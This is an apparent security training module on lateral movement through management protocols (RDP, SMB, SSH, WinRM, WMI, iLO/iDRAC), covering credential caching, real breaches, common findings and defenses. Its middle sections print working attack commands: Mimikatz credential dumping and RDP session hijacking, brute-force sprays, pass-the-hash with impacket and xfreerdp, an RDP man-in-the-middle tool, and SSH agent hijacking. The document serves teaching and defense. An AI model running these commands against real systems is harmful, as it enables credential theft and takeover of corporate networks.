Module 5 · SSH, RDP, SMB, WinRM — The Lateral Movement Highway

Last updated: April 29, 2026

SSH, SMB, RDP, WinRM, WMI, and iLO/iDRAC are management protocols — designed for administrators to do their jobs. Attackers love them because they’re everywhere, always allowed between admin endpoints and targets, and every organization has weak or reused credentials that reach through them. This module is about why management protocols are the main rails of lateral movement in 2026.

Why this happens

Management protocols are the backbone of IT operations. Admin needs to log into 500 servers. SSH to 500 Linux boxes. RDP to 200 Windows. PowerShell Remoting (WinRM) to automate. WMI for inventory. SCCM agents call home. iLO/iDRAC for out-of-band. Every one of these is an authenticated channel that, once the attacker has the right credentials, gives full control of the target.

Three things make these high-value:

• Credentials reuse. The same admin credentials work on many targets. Attacker who compromises one admin account = many targets.
• Credentials cached in memory. When admin RDPs to a server, credentials are cached on that server. Compromise of the server = extraction of admin’s credentials.
• Legitimate traffic is indistinguishable from attacks. RDP from admin endpoint to server is normal. RDP from attacker’s foothold to server using stolen creds is also normal. Detection requires context.

The credential-cache problem

When an administrator RDPs from their workstation to a server, Windows caches their credentials on the server in LSASS. If the attacker later compromises the server and has local admin, Mimikatz extracts those cached credentials. Now the attacker has the admin’s credentials without ever compromising the admin’s workstation.

# Attacker compromises a random server via phishing / exploit
# Runs mimikatz or equivalent
sekurlsa::logonpasswords

# Output includes credentials of every user who logged in recently:
# - Domain admin who RDP'd yesterday to troubleshoot
# - Service account whose password is stored
# - Backup admin whose scheduled task runs hourly
# - etc.

# Attacker now has high-privilege credentials from a medium-privilege compromise

This single pattern — Tier 0 admins logging into Tier 1/2 systems — has been responsible for more breach amplification than almost any other technique. It’s why Microsoft’s Tier model exists; it’s why “Privileged Access Workstations” (PAWs) exist.

RDP attacks

# RDP brute force / password spray against external-exposed
crowbar -b rdp -u admin -C passwords.txt -s 10.0.0.0/24

# Network-level RDP hijacking (if attacker is SYSTEM on target server)
mimikatz # ts::sessions
mimikatz # ts::remote /id:2      # connects to victim's disconnected session

# Pass-the-hash over RDP (Restricted Admin mode) — bypass cleartext creds
xfreerdp /u:admin /pth:NTLMHASH /v:10.0.0.5 /restricted-admin

# RDP MITM via Seth
git clone https://github.com/SySS-Research/Seth
./seth.sh eth0 10.0.0.5 10.0.0.10 10.0.0.100
# Captures credentials when admin RDPs through attacker's position

SMB as lateral movement vector

# PsExec — creates a service, runs command, removes service
impacket-psexec CORP/admin:[email protected]
# Noisy: service creation, event logs

# WMI execution — quieter, no service
impacket-wmiexec CORP/admin:[email protected]

# WinRM execution
impacket-evil-winrm -u admin -p password -i 10.0.0.5

# Pass-the-hash across all of the above
impacket-psexec -hashes :NTLMHASH CORP/[email protected]
impacket-wmiexec -hashes :NTLMHASH CORP/[email protected]

SSH attacks beyond brute force

# SSH credential reuse check (worked creds from one target, try others)
hydra -L users.txt -P passwords.txt ssh://10.0.0.0/24 -t 16

# SSH key reuse — extract key from compromised host, try elsewhere
cat ~/.ssh/authorized_keys  # on compromised target
# Often: admins have single key authorizing them to 100+ servers

# SSH Agent hijacking (if attacker gains root on a host with live SSH agent)
SSH_AUTH_SOCK=/tmp/ssh-XXX/agent.YYY ssh admin@nextserver
# Uses the admin's forwarded agent — no key extraction needed

# SSH config enumeration (find where admin connects)
cat ~/.ssh/known_hosts     # reveals many targets
cat ~/.ssh/config          # reveals host aliases, port forwarding

WinRM — a modern PsExec alternative

WinRM (ports 5985/5986) is PowerShell Remoting. Attacker-friendly because it’s commonly allowed in corporate networks and produces fewer logs than PsExec. Evil-WinRM is the standard offensive tool.

WMI — quiet execution

WMI (Windows Management Instrumentation) remote execution uses DCOM over port 135 + dynamic ports. Very common in admin automation. Leaves fewer forensic artifacts than PsExec’s service-creation pattern. A preferred lateral-movement primitive for modern red teams.

iLO/iDRAC and other out-of-band

HP iLO, Dell iDRAC, IPMI — out-of-band management for servers. Attack surface:

• Default passwords still common in production (published defaults for legacy firmware)
• CVEs in BMC firmware (multiple IPMI bugs over the years)
• Direct hardware console access — bypasses OS-level security entirely
• Often on separate management VLAN but that VLAN frequently misconfigured

Real-world incidents

• Maersk NotPetya (2017): Moving across an enterprise via admin RDP + pass-the-hash. One domain admin’s credentials in LSASS on a compromised server enabled $300M in damage.
• Conti operators consistently documented (2021-2022): initial access → RDP/SSH credential reuse via keyboard walks and infostealers → PsExec/WMI lateral movement → ransomware deployment. The classic playbook.
• Internal pentest engagements routinely achieve Domain Admin in under 4 hours using this exact chain: phishing → Responder → NTLM relay → local admin on one box → Mimikatz → cached DA credentials → DCSync. Management protocols are the highway this traverses.

What we find

• Shared local admin passwords across machines (lack of LAPS)
• Domain admin logons to regular workstations (credential exposure)
• SSH key reuse across many servers (single key compromise = many servers)
• RDP enabled from Internet (shodan finds millions of exposed RDP services)
• Restricted Admin mode not enabled on RDP (cleartext credentials stored)
• WinRM HTTP (not HTTPS) enabled — credentials in cleartext
• iLO/iDRAC with default or weak passwords
• SMB signing disabled (relay attacks possible)
• Local admin rights granted to users for “convenience”
• Service accounts logged in interactively on workstations (LSASS exposure)

Defenses

1. LAPS — unique local admin password per machine, rotated automatically
2. Tier model — admins use PAWs for Tier 0/1 tasks, regular workstations for office work
3. Credential Guard on Windows 10+ (virtualization-based protection of LSASS)
4. Protected Users group for admin accounts (prevents NTLM, RC4, limits TGT lifetime)
5. Jump hosts for cross-tier access (admins never RDP direct from workstation to servers)
6. SSH certificate authorities instead of long-lived keys
7. Just-in-time admin (Azure PIM, HashiCorp Boundary, Teleport)
8. Network segmentation for management interfaces (iLO/iDRAC on dedicated management VLAN)
9. Restricted Admin mode for RDP (prevents credential caching)
10. Disable SMBv1 (relay + WannaCry class)
11. WinRM over HTTPS only
12. Audit logon events + alert on admin logons to user workstations

Mindset takeaway

Your management protocols are your lateral movement highway. Every RDP session, every SSH key, every admin’s WinRM command is a potential attacker op. The question for defenders: “Can we distinguish attacker use of these protocols from admin use?” The answer is usually “barely, via EDR behavioural analytics.” That’s the gap.

For pentesters: after initial foothold, management protocols are your lateral movement primitive 90% of the time. Credential extraction + credential reuse via these protocols is how red teams achieve Domain Admin in 4 hours. Defenders who close this gap force red teams to exploit vulnerabilities instead — a much higher bar.